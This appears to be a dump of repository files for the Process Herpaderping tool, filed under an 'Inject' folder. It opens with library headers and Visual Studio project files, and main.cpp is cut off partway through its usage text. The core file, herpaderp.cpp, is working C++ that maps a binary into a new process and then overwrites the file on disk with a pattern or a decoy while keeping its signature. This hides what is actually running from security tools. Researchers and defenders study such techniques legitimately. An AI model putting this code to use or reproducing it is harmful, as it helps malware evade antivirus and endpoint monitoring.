__WI_LIBCPP_TEMPLATE_VIS is_swappable\n : public conditional<\n __is_referenceable<_Tp>::value,\n is_swappable_with<\n typename add_lvalue_reference<_Tp>::type,\n typename add_lvalue_reference<_Tp>::type>,\n false_type\n >::type\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_swappable_with\n : public integral_constant::value>\n {\n };\n\n template \n struct __WI_LIBCPP_TEMPLATE_VIS is_nothrow_swappable\n : public conditional<\n __is_referenceable<_Tp>::value,\n is_nothrow_swappable_with<\n typename add_lvalue_reference<_Tp>::type,\n typename add_lvalue_reference<_Tp>::type>,\n false_type\n >::type\n {\n };\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_swappable_with_v\n = is_swappable_with<_Tp, _Up>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_swappable_v\n = is_swappable<_Tp>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_swappable_with_v\n = is_nothrow_swappable_with<_Tp, _Up>::value;\n\n template \n __WI_LIBCPP_INLINE_VAR constexpr bool is_nothrow_swappable_v\n = is_nothrow_swappable<_Tp>::value;\n\n#endif // __WI_LIBCPP_STD_VER > 14\n\n#ifdef __WI_LIBCPP_UNDERLYING_TYPE\n\n template \n struct underlying_type\n {\n typedef __WI_LIBCPP_UNDERLYING_TYPE(_Tp) type;\n };\n\n#if __WI_LIBCPP_STD_VER > 11\n template using underlying_type_t = typename underlying_type<_Tp>::type;\n#endif\n\n#else // __WI_LIBCPP_UNDERLYING_TYPE\n\n template \n struct underlying_type\n {\n static_assert(_Support, \"The underyling_type trait requires compiler \"\n \"support. Either no such support exists or \"\n \"libc++ does not know how to use it.\");\n };\n\n#endif // __WI_LIBCPP_UNDERLYING_TYPE\n\n\n template ::value>\n struct __sfinae_underlying_type\n {\n typedef typename underlying_type<_Tp>::type type;\n typedef decltype(((type)1) + 0) __promoted_type;\n };\n\n template \n struct __sfinae_underlying_type<_Tp, false> {};\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n int __convert_to_integral(int __val) { return __val; }\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n unsigned __convert_to_integral(unsigned __val) { return __val; }\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n long __convert_to_integral(long __val) { return __val; }\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n unsigned long __convert_to_integral(unsigned long __val) { return __val; }\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n long long __convert_to_integral(long long __val) { return __val; }\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n unsigned long long __convert_to_integral(unsigned long long __val) {return __val; }\n\n template\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n typename enable_if::value, long long>::type\n __convert_to_integral(_Fp __val) { return __val; }\n\n#ifndef __WI_LIBCPP_HAS_NO_INT128\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n __int128_t __convert_to_integral(__int128_t __val) { return __val; }\n\n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n __uint128_t __convert_to_integral(__uint128_t __val) { return __val; }\n#endif\n\n template \n inline __WI_LIBCPP_INLINE_VISIBILITY __WI_LIBCPP_CONSTEXPR\n typename __sfinae_underlying_type<_Tp>::__promoted_type\n __convert_to_integral(_Tp __val) { return __val; }\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n\n template \n struct __has_operator_addressof_member_imp\n {\n template \n static auto __test(int)\n -> typename __select_2nd().operator&()), true_type>::type;\n template \n static auto __test(long) -> false_type;\n\n static const bool value = decltype(__test<_Tp>(0))::value;\n };\n\n template \n struct __has_operator_addressof_free_imp\n {\n template \n static auto __test(int)\n -> typename __select_2nd())), true_type>::type;\n template \n static auto __test(long) -> false_type;\n\n static const bool value = decltype(__test<_Tp>(0))::value;\n };\n\n template \n struct __has_operator_addressof\n : public integral_constant::value\n || __has_operator_addressof_free_imp<_Tp>::value>\n {};\n\n#endif // __WI_LIBCPP_CXX03_LANG\n\n#ifndef __WI_LIBCPP_CXX03_LANG\n\n template using void_t = void;\n\n# ifndef __WI_LIBCPP_HAS_NO_VARIADICS\n template \n struct conjunction : __and_<_Args...> {};\n template\n __WI_LIBCPP_INLINE_VAR constexpr bool conjunction_v\n = conjunction<_Args...>::value;\n\n template \n struct disjunction : __or_<_Args...> {};\n template\n __WI_LIBCPP_INLINE_VAR constexpr bool disjunction_v\n = disjunction<_Args...>::value;\n\n template \n struct negation : __not_<_Tp> {};\n template\n __WI_LIBCPP_INLINE_VAR constexpr bool negation_v\n = negation<_Tp>::value;\n# endif // __WI_LIBCPP_HAS_NO_VARIADICS\n#endif // __WI_LIBCPP_CXX03_LANG\n\n // These traits are used in __tree and __hash_table\n#ifndef __WI_LIBCPP_CXX03_LANG\n struct __extract_key_fail_tag {};\n struct __extract_key_self_tag {};\n struct __extract_key_first_tag {};\n\n template ::type>\n struct __can_extract_key\n : conditional::value, __extract_key_self_tag,\n __extract_key_fail_tag>::type {};\n\n template \n struct __can_extract_key<_Pair, _Key, pair<_First, _Second>>\n : conditional::type, _Key>::value,\n __extract_key_first_tag, __extract_key_fail_tag>::type {};\n\n // __can_extract_map_key uses true_type/false_type instead of the tags.\n // It returns true if _Key != _ContainerValueTy (the container is a map not a set)\n // and _ValTy == _Key.\n template ::type>\n struct __can_extract_map_key\n : integral_constant::value> {};\n\n // This specialization returns __extract_key_fail_tag for non-map containers\n // because _Key == _ContainerValueTy\n template \n struct __can_extract_map_key<_ValTy, _Key, _Key, _RawValTy>\n : false_type {};\n\n#endif\n\n#if __WI_LIBCPP_STD_VER > 17\n enum class endian\n {\n little = 0xDEAD,\n big = 0xFACE,\n#if defined(__WI_LIBCPP_LITTLE_ENDIAN)\n native = little\n#elif defined(__WI_LIBCPP_BIG_ENDIAN)\n native = big\n#else\n native = 0xCAFE\n#endif\n };\n#endif\n}\n/// @endcond\n\n#endif // _WISTD_TYPE_TRAITS_H_\n" }, { "path": "Inject/herpaderping-main/ext/submodules/wil/wrl.h", "content": "//*********************************************************\n//\n// Copyright (c) Microsoft. All rights reserved.\n// This code is licensed under the MIT License.\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF\n// ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED\n// TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\n// PARTICULAR PURPOSE AND NONINFRINGEMENT.\n//\n//*********************************************************\n#ifndef __WIL_WRL_INCLUDED\n#define __WIL_WRL_INCLUDED\n\n#include \n#include \"result.h\"\n#include \"common.h\" // wistd type_traits helpers\n\nnamespace wil\n{\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n#pragma region Object construction helpers that throw exceptions\n\n /** Used to construct a RuntimeClass based object that uses 2 phase construction.\n Construct a RuntimeClass based object that uses 2 phase construction (by implementing\n RuntimeClassInitialize() and returning error codes for failures.\n ~~~~\n // SomeClass uses 2 phase initialization by implementing RuntimeClassInitialize()\n auto someClass = MakeAndInitializeOrThrow(L\"input\", true);\n ~~~~ */\n\n template \n Microsoft::WRL::ComPtr MakeAndInitializeOrThrow(TArgs&&... args)\n {\n Microsoft::WRL::ComPtr obj;\n THROW_IF_FAILED(Microsoft::WRL::MakeAndInitialize(&obj, Microsoft::WRL::Details::Forward(args)...));\n return obj;\n }\n\n /** Used to construct an RuntimeClass based object that uses exceptions in its constructor (and does\n not require 2 phase construction).\n ~~~~\n // SomeClass uses exceptions for error handling in its constructor.\n auto someClass = MakeOrThrow(L\"input\", true);\n ~~~~ */\n\n template \n Microsoft::WRL::ComPtr MakeOrThrow(TArgs&&... args)\n {\n // This is how you can detect the presence of RuntimeClassInitialize() and find dangerous use.\n // Unfortunately this produces false positives as all RuntimeClass derived classes have\n // a RuntimeClassInitialize() method from their base class.\n // static_assert(!std::is_member_function_pointer::value,\n // \"class has a RuntimeClassInitialize member, use MakeAndInitializeOrThrow instead\");\n auto obj = Microsoft::WRL::Make(Microsoft::WRL::Details::Forward(args)...);\n THROW_IF_NULL_ALLOC(obj.Get());\n return obj;\n }\n#pragma endregion\n\n#endif // WIL_ENABLE_EXCEPTIONS\n\n /** By default WRL Callback objects are not agile, use this to make an agile one. Replace use of Callback<> with MakeAgileCallback<>.\n Will return null on failure, translate that into E_OUTOFMEMORY using XXX_IF_NULL_ALLOC()\n from wil\\result.h to test the result. */\n template\n ::Microsoft::WRL::ComPtr MakeAgileCallbackNoThrow(Args&&... args) WI_NOEXCEPT\n {\n using namespace Microsoft::WRL;\n return Callback, TDelegateInterface, FtmBase>>(wistd::forward(args)...);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n template\n ::Microsoft::WRL::ComPtr MakeAgileCallback(Args&&... args)\n {\n auto result = MakeAgileCallbackNoThrow(wistd::forward(args)...);\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n} // namespace wil\n\n#endif // __WIL_WRL_INCLUDED\n" }, { "path": "Inject/herpaderping-main/herpaderping.sln", "content": "\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio Version 16\nVisualStudioVersion = 16.0.30104.148\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"ProcessHerpaderping\", \"source\\ProcessHerpaderping\\ProcessHerpaderping.vcxproj\", \"{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|x64 = Debug|x64\n\t\tDebug|x86 = Debug|x86\n\t\tRelease|x64 = Release|x64\n\t\tRelease|x86 = Release|x86\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x64.Build.0 = Debug|x64\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x86.ActiveCfg = Debug|Win32\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Debug|x86.Build.0 = Debug|Win32\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x64.ActiveCfg = Release|x64\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x64.Build.0 = Release|x64\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x86.ActiveCfg = Release|Win32\n\t\t{25CB55EF-7944-4234-9D2A-4BE3B291BD7F}.Release|x86.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\n\tGlobalSection(ExtensibilityGlobals) = postSolution\n\t\tSolutionGuid = {8BCF228F-C80E-4F27-A67F-E76E9BCB83D2}\n\tEndGlobalSection\nEndGlobal\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj", "content": "\n\n \n \n Debug\n Win32\n \n \n Release\n Win32\n \n \n Debug\n x64\n \n \n Release\n x64\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n 16.0\n {25CB55EF-7944-4234-9D2A-4BE3B291BD7F}\n Win32Proj\n ProcessHerpaderping\n 10.0\n \n \n \n Application\n true\n v142\n Unicode\n \n \n Application\n false\n v142\n true\n Unicode\n \n \n Application\n true\n v142\n Unicode\n \n \n Application\n false\n v142\n true\n Unicode\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n true\n $(SolutionDir)build\\$(Configuration).$(PlatformTarget)\\\n true\n \n \n true\n $(SolutionDir)build\\$(Configuration).$(PlatformTarget)\\\n true\n \n \n false\n $(SolutionDir)build\\$(Configuration).$(PlatformTarget)\\\n true\n \n \n false\n $(SolutionDir)build\\$(Configuration).$(PlatformTarget)\\\n true\n \n \n \n Create\n Level4\n true\n WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreadedDebug\n true\n $(SolutionDir);$(SolutionDir)ext\\submodules\\;$(SolutionDir)ext\\submodules\\phnt\\;$(SolutionDir)ext\\submodules\\wil\\include\\;%(AdditionalIncludeDirectories)\n pch.hpp\n true\n false\n \n \n Console\n true\n bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)\n \n \n \n \n Create\n Level4\n true\n _DEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreadedDebug\n true\n $(SolutionDir);$(SolutionDir)ext\\submodules\\;$(SolutionDir)ext\\submodules\\phnt\\;$(SolutionDir)ext\\submodules\\wil\\include\\;%(AdditionalIncludeDirectories)\n pch.hpp\n true\n false\n \n \n Console\n true\n bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)\n \n \n \n \n Create\n Level4\n true\n true\n true\n WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreaded\n true\n $(SolutionDir);$(SolutionDir)ext\\submodules\\;$(SolutionDir)ext\\submodules\\phnt\\;$(SolutionDir)ext\\submodules\\wil\\include\\;%(AdditionalIncludeDirectories)\n pch.hpp\n true\n \n \n Console\n true\n true\n true\n bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)\n \n \n \n \n Create\n Level4\n true\n true\n true\n NDEBUG;_CONSOLE;%(PreprocessorDefinitions)\n true\n stdcpplatest\n MultiThreaded\n true\n $(SolutionDir);$(SolutionDir)ext\\submodules\\;$(SolutionDir)ext\\submodules\\phnt\\;$(SolutionDir)ext\\submodules\\wil\\include\\;%(AdditionalIncludeDirectories)\n pch.hpp\n true\n \n \n Console\n true\n true\n true\n bcrypt.lib;ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies)\n \n \n \n \n \n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/ProcessHerpaderping.vcxproj.filters", "content": "\n\n \n \n \n \n \n \n \n \n \n \n res\n \n \n res\n \n \n \n \n {c0d5b2bf-b92e-4174-b0c8-967949174b21}\n \n \n \n \n res\n \n \n \n \n res\n \n \n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/herpaderp.cpp", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/herpaderp.cpp\n// Author: Johnny Shaw\n// Abstract: Herpaderping Functionality\n//\n#include \"pch.hpp\"\n#include \"herpaderp.hpp\"\n#include \"utils.hpp\"\n\n_Use_decl_annotations_\nHRESULT Herpaderp::ExecuteProcess(\n const std::wstring& SourceFileName,\n const std::wstring& TargetFileName,\n const std::optional& ReplaceWithFileName,\n std::span Pattern, \n uint32_t Flags)\n{\n if (FlagOn(Flags, FlagHoldHandleExclusive) && \n FlagOn(Flags, FlagCloseFileEarly))\n {\n //\n // Incompatible flags.\n //\n return E_INVALIDARG;\n }\n\n if (FlagOn(Flags, FlagWaitForProcess) &&\n FlagOn(Flags, FlagKillSpawnedProcess))\n {\n //\n // Incompatible flags.\n //\n return E_INVALIDARG;\n }\n\n wil::unique_handle processHandle;\n //\n // If something goes wrong, we'll terminate the process.\n //\n auto terminateProcess = wil::scope_exit([&processHandle]() -> void\n {\n if (processHandle.is_valid())\n {\n TerminateProcess(processHandle.get(), 0);\n }\n });\n\n Utils::Log(Log::Success, L\"Source File: \\\"%ls\\\"\", SourceFileName.c_str());\n Utils::Log(Log::Success, L\"Target File: \\\"%ls\\\"\", TargetFileName.c_str());\n\n //\n // Open the source binary and the target file we will execute it from.\n //\n wil::unique_handle sourceHandle;\n sourceHandle.reset(CreateFileW(SourceFileName.c_str(),\n GENERIC_READ,\n FILE_SHARE_READ | \n FILE_SHARE_WRITE | \n FILE_SHARE_DELETE,\n nullptr,\n OPEN_EXISTING,\n FILE_ATTRIBUTE_NORMAL,\n nullptr));\n if (!sourceHandle.is_valid())\n {\n RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \n GetLastError(), \n L\"Failed to open source file\"));\n }\n\n DWORD shareMode = (FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE);\n if (FlagOn(Flags, FlagHoldHandleExclusive))\n {\n Utils::Log(Log::Information, \n L\"Creating target file with exclusive access\");\n shareMode = 0;\n }\n\n wil::unique_handle targetHandle;\n targetHandle.reset(CreateFileW(TargetFileName.c_str(),\n GENERIC_READ | GENERIC_WRITE,\n shareMode,\n nullptr,\n CREATE_ALWAYS,\n FILE_ATTRIBUTE_NORMAL,\n nullptr));\n if(!targetHandle.is_valid())\n {\n RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \n GetLastError(), \n L\"Failed to create target file\"));\n }\n\n //\n // Copy the content of the source process to the target.\n //\n HRESULT hr = Utils::CopyFileByHandle(sourceHandle.get(),\n targetHandle.get());\n if (FAILED(hr))\n {\n Utils::Log(Log::Error,\n hr,\n L\"Failed to copy source binary to target file\");\n RETURN_HR(hr);\n }\n\n Utils::Log(Log::Information, L\"Copied source binary to target file\");\n\n //\n // We're done with the source binary.\n //\n sourceHandle.reset();\n\n //\n // Map and create the target process. We'll make it all derpy in a moment...\n //\n wil::unique_handle sectionHandle;\n auto status = NtCreateSection(§ionHandle,\n SECTION_ALL_ACCESS,\n nullptr,\n nullptr,\n PAGE_READONLY,\n SEC_IMAGE,\n targetHandle.get());\n if (!NT_SUCCESS(status))\n {\n sectionHandle.release();\n RETURN_NTSTATUS(Utils::Log(\n Log::Error, \n status, \n L\"Failed to create target file image section\"));\n }\n\n Utils::Log(Log::Information, L\"Created image section for target\");\n\n status = NtCreateProcessEx(&processHandle,\n PROCESS_ALL_ACCESS,\n nullptr,\n NtCurrentProcess(),\n PROCESS_CREATE_FLAGS_INHERIT_HANDLES,\n sectionHandle.get(),\n nullptr,\n nullptr,\n 0);\n if (!NT_SUCCESS(status))\n {\n processHandle.release();\n RETURN_NTSTATUS(Utils::Log(Log::Error, \n status, \n L\"Failed to create process\"));\n }\n\n Utils::Log(Log::Information,\n L\"Created process object, PID %lu\",\n GetProcessId(processHandle.get()));\n\n //\n // Alright we have the process set up, we don't need the section.\n //\n sectionHandle.reset();\n\n //\n // Go get the remote entry RVA to create a thread later on.\n //\n uint32_t imageEntryPointRva;\n hr = Utils::GetImageEntryPointRva(targetHandle.get(),\n imageEntryPointRva);\n if (FAILED(hr))\n {\n Utils::Log(Log::Error, \n hr, \n L\"Failed to get target file image entry RVA\");\n RETURN_HR(hr);\n }\n\n Utils::Log(Log::Information,\n L\"Located target image entry RVA 0x%08x\",\n imageEntryPointRva);\n\n //\n // Alright, depending on the parameter passed in. We will either:\n // A. Overwrite the target binary with another.\n // B. Overwrite the target binary with a pattern.\n //\n if (ReplaceWithFileName.has_value())\n {\n //\n // (A) We are overwriting the binary with another file.\n //\n Utils::Log(Log::Success,\n L\"Replacing target with \\\"%ls\\\"\",\n ReplaceWithFileName->c_str());\n\n wil::unique_handle replaceWithHandle;\n replaceWithHandle.reset(CreateFileW(ReplaceWithFileName->c_str(),\n GENERIC_READ,\n FILE_SHARE_READ |\n FILE_SHARE_WRITE |\n FILE_SHARE_DELETE,\n nullptr,\n OPEN_EXISTING,\n FILE_ATTRIBUTE_NORMAL,\n nullptr));\n\n if (!replaceWithHandle.is_valid())\n {\n RETURN_LAST_ERROR_SET(Utils::Log(\n Log::Error, \n GetLastError(), \n L\"Failed to open replace with file\"));\n }\n\n //\n // Replace the bytes. We handle a failure here. We'll fix it up after.\n //\n hr = Utils::CopyFileByHandle(replaceWithHandle.get(),\n targetHandle.get(),\n FlagOn(Flags, FlagFlushFile));\n if (FAILED(hr))\n {\n if (hr != HRESULT_FROM_WIN32(ERROR_USER_MAPPED_FILE))\n {\n Utils::Log(Log::Error, \n hr,\n L\"Failed to replace target file\");\n RETURN_HR(hr);\n }\n\n //\n // This error occurs when trying to truncate a file that has a\n // user mapping open. In other words, the file we tried to replace\n // with was smaller than the original.\n // Let's fix up the replacement to hide the original bytes and \n // retain any signer info.\n //\n Utils::Log(Log::Information,\n L\"Fixing up target replacement, \"\n L\"hiding original bytes and retaining any signature\");\n\n uint64_t replaceWithSize;\n hr = Utils::GetFileSize(replaceWithHandle.get(), replaceWithSize);\n if (FAILED(hr))\n {\n Utils::Log(Log::Error, \n hr,\n L\"Failed to get replace with file size\");\n RETURN_HR(hr);\n }\n\n uint32_t bytesWritten = 0;\n hr = Utils::OverwriteFileAfterWithPattern(\n targetHandle.get(),\n replaceWithSize,\n Pattern,\n bytesWritten,\n FlagOn(Flags, FlagFlushFile));\n if (FAILED(hr))\n {\n Utils::Log(Log::Warning, \n hr,\n L\"Failed to hide original file bytes\");\n }\n else\n {\n hr = Utils::ExtendFileSecurityDirectory(\n targetHandle.get(),\n bytesWritten,\n FlagOn(Flags, FlagFlushFile));\n if (FAILED(hr))\n {\n Utils::Log(Log::Warning,\n hr,\n L\"Failed to retain file signature\");\n }\n }\n }\n }\n else\n {\n //\n // (B) Just overwrite the target binary with a pattern.\n //\n Utils::Log(Log::Success, L\"Overwriting target with pattern\");\n\n hr = Utils::OverwriteFileContentsWithPattern(\n targetHandle.get(),\n Pattern,\n FlagOn(Flags, FlagFlushFile));\n if (FAILED(hr))\n {\n Utils::Log(Log::Error, \n hr, \n L\"Failed to write pattern over file\");\n RETURN_HR(hr);\n }\n }\n\n //\n // Alright, at this point the process is going to be derpy enough.\n // Do the work necessary to make it execute.\n //\n Utils::Log(Log::Success, L\"Preparing target for execution\");\n\n PROCESS_BASIC_INFORMATION pbi{};\n status = NtQueryInformationProcess(processHandle.get(),\n ProcessBasicInformation,\n &pbi,\n sizeof(pbi),\n nullptr);\n if (!NT_SUCCESS(status))\n {\n RETURN_NTSTATUS(Utils::Log(Log::Error, \n status, \n L\"Failed to query new process info\"));\n }\n\n PEB peb{};\n if (!ReadProcessMemory(processHandle.get(),\n pbi.PebBaseAddress,\n &peb,\n sizeof(peb),\n nullptr))\n {\n RETURN_LAST_ERROR_SET(Utils::Log(Log::Error, \n GetLastError(), \n L\"Failed to read remote process PEB\"));\n }\n\n Utils::Log(Log::Information,\n L\"Writing process parameters, remote PEB ProcessParameters 0x%p\",\n Add2Ptr(pbi.PebBaseAddress, FIELD_OFFSET(PEB, ProcessParameters)));\n\n hr = Utils::WriteRemoteProcessParameters(\n processHandle.get(),\n TargetFileName,\n std::nullopt,\n std::nullopt,\n (L\"\\\"\" + TargetFileName + L\"\\\"\"),\n NtCurrentPeb()->ProcessParameters->Environment,\n TargetFileName,\n L\"WinSta0\\\\Default\",\n std::nullopt,\n std::nullopt);\n if (FAILED(hr))\n {\n Utils::Log(Log::Error, \n hr, \n L\"Failed to write remote process parameters\");\n RETURN_HR(hr);\n }\n\n if (FlagOn(Flags, FlagCloseFileEarly))\n {\n //\n // Caller wants to close the file early, before the notification\n // callback in the kernel would fire, do so.\n //\n targetHandle.reset();\n }\n\n //\n // Create the initial thread, when this first thread is inserted the\n // process create callback will fire in the kernel.\n //\n void* remoteEntryPoint = Add2Ptr(peb.ImageBaseAddress, imageEntryPointRva);\n\n Utils::Log(Log::Information,\n L\"Creating thread in process at entry point 0x%p\",\n remoteEntryPoint);\n\n wil::unique_handle threadHandle;\n status = NtCreateThreadEx(&threadHandle,\n THREAD_ALL_ACCESS,\n nullptr,\n processHandle.get(),\n remoteEntryPoint,\n nullptr,\n 0,\n 0,\n 0,\n 0,\n nullptr);\n if (!NT_SUCCESS(status))\n {\n threadHandle.release();\n RETURN_NTSTATUS(Utils::Log(Log::Error, \n status, \n L\"Failed to create remote thread\"));\n }\n\n Utils::Log(Log::Information,\n L\"Created thread, TID %lu\",\n GetThreadId(threadHandle.get()));\n\n if (!FlagOn(Flags, FlagKillSpawnedProcess))\n {\n //\n // Process was executed successfully. Do not terminate.\n //\n terminateProcess.release();\n }\n\n if (!FlagOn(Flags, FlagHoldHandleExclusive))\n {\n //\n // We're done with the target file handle. At this point the process \n // create callback will have fired in the kernel.\n //\n targetHandle.reset();\n }\n\n if (FlagOn(Flags, FlagWaitForProcess))\n {\n //\n // Wait for the process to exit.\n //\n Utils::Log(Log::Success, L\"Waiting for herpaderped process to exit\");\n\n WaitForSingleObject(processHandle.get(), INFINITE);\n\n DWORD targetExitCode = 0;\n GetExitCodeProcess(processHandle.get(), &targetExitCode);\n\n Utils::Log(Log::Success,\n L\"Herpaderped process exited with code 0x%08x\",\n targetExitCode);\n }\n else\n {\n Utils::Log(Log::Success, L\"Successfully spawned herpaderped process\");\n }\n\n return S_OK;\n}\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/herpaderp.hpp", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/herpaderp.hpp\n// Author: Johnny Shaw\n// Abstract: Herpaderping Functionality\n//\n#pragma once\n\nnamespace Herpaderp\n{\n#pragma warning(push)\n#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target \n ///

\n /// Waits for process to exit before returning.\n /// \n constexpr static uint32_t FlagWaitForProcess = 0x00000001ul;\n\n /// \n /// Opens and hold the target file handle exclusive for as long as \n /// reasonable. This flag is incompatible with FlagCloseFileEarly.\n /// \n constexpr static uint32_t FlagHoldHandleExclusive = 0x00000002ul;\n\n /// \n /// Flushes file buffers of target file.\n /// \n constexpr static uint32_t FlagFlushFile = 0x00000004ul;\n\n /// \n /// Closes the file handle early, before creating the initial thread \n /// (before process notification would fire in the kernel). This flag is \n /// not compatible with FlagHoldHandleExclusive.\n /// \n constexpr static uint32_t FlagCloseFileEarly = 0x00000008ul;\n\n /// \n /// Terminates the spawned process on success, this can be useful in some \n /// automation environments. Not compatible with FlagWaitForProcess.\n /// \n constexpr static uint32_t FlagKillSpawnedProcess = 0x00000010ul;\n#pragma warning(pop)\n\n /// \n /// Executes process herpaderping.\n /// \n /// \n /// Source binary to execute.\n /// \n /// \n /// File name to copy source to and obfuscate.\n /// \n /// \n /// Optional, if provided the file is replaced with the content of this \n /// file. If not provided the file is overwritten with a pattern.\n /// \n /// \n /// Pattern used for obfuscation.\n /// \n /// \n /// Flags controlling behavior of herpaderping (Herpaderp::FlagXxx).\n /// \n /// \n /// Success if the herpaderping executed. Failure otherwise.\n /// \n _Must_inspect_result_ HRESULT ExecuteProcess(\n _In_ const std::wstring& SourceFileName,\n _In_ const std::wstring& TargetFileName,\n _In_opt_ const std::optional& ReplaceWithFileName,\n _In_ std::span Pattern, \n _In_ uint32_t Flags);\n\n}\n" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/main.cpp", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/main.cpp\n// Author: Johnny Shaw\n// Abstract: Process Herpaderping Tool \n//\n#include \"pch.hpp\"\n#include \"utils.hpp\"\n#include \"herpaderp.hpp\"\n\nnamespace Constants \n{\n constexpr static std::wstring_view ToolHeader\n {\n WSTR_FILE_DESCRIPTION L\" - \" WSTR_COPYRIGHT\n };\n\n constexpr static std::array Pattern{ '\\x72', '\\x6f', '\\x66', '\\x6c' };\n\n constexpr static size_t RandPatterLen{ 0x200 };\n}\n\n/// \n/// Class for parsing and storing process herpaderping tool arguments. \n/// \nclass Parameters : public Utils::IArgumentParser\n{\npublic:\n constexpr static std::wstring_view Usage\n {\nWSTR_ORIGINAL_FILENAME L\" SourceFile TargetFile [ReplacedWith] [Options...]\\n\"\nL\"Usage:\\n\"\nL\" SourceFile Source file to execute.\\n\"\nL\" TargetFile Target file to execute the source from.\\n\"\nL\" ReplacedWith File to replace the target with. Optional,\\n\"\nL\" default overwrites the binary with a pattern.\\n\"\nL\" -h,--help Prints tool usage.\\n\"\nL\" -d,--do-not-wait Does not wait for spawned process to exit,\\n\"\nL\" default waits.\\n\"\nL\" -l,--logging-mask number Specifies the logging mask, defaults to full\\n\" \nL\" logging.\\n\"\nL\" 0x1 Successes\\n\"\nL\" 0x2 Informational\\n\"\nL\" 0x4 Warnings\\n\"\nL\" 0x8 Errors\\n\"\nL\" 0x10 Contextual\\n\"\nL\" -q,--quiet Runs quietly, overrides logging mask, no title.\\n\"\nL\" -r,--random-obfuscation Uses random bytes rather than a pattern for\\n\"\nL\" file obfuscation.\\n\"\nL\" -e,--exclusive Target file is created with exclusive access and\\n\"\nL\" the handle is held open as long as possible.\\n\"\nL\" Without this option the handle has full share\\n\"\nL\" access and is closed as soon as possible.\\n\"\nL\" -u,--do-not-flush-file Does not flush file after overwrite.\\n\"\nL\" -c,--close-file-early Closes file before thread creation (before the\\n\"\nL\" process notify callback fires in the 